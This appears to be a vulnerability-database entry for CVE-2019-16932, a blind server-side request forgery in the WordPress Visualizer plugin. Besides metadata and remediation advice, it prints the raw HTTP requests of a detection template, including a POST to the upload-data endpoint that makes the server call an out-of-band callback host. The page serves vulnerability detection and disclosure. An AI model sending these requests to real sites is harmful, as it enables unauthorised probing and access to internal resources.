🔙 목록으로 돌아가기

CVE-2019-16932: Visualizer <3.3.1 - Blind Server-Side Request Forgery

TitleVisualizer <3.3.1 - Blind Server-Side Request Forgery
Authorakincibor
SeverityCritical
ImpactAn attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or data leakage.
RemediationUpdate Visualizer plugin to version 3.3.1 or later to fix the SSRF vulnerability.
CVSS Score10
EPSS Score0.82175
CVE IDCVE-2019-16932
CWE IDCWE-918
Tags cve cve2019 wp-plugin ssrf wordpress oast unauth wpscan intrusive themeisle xss vkev vuln

🔍 Vulnerability Description

Visualizer prior to 3.3.1 suffers from a blind server-side request forgery vulnerability via the /wp-json/visualizer/v1/upload-data endpoint.

🌐 HTTP Request

GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Connection: close
Accept-Encoding: gzip
POST /wp-json/visualizer/v1/upload-data HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 66
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

{\"url\":\"http://d5jpc3ple0o3ul7vd78gh6rspq4kpwcs4.oast.online\"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16932.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-16932.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A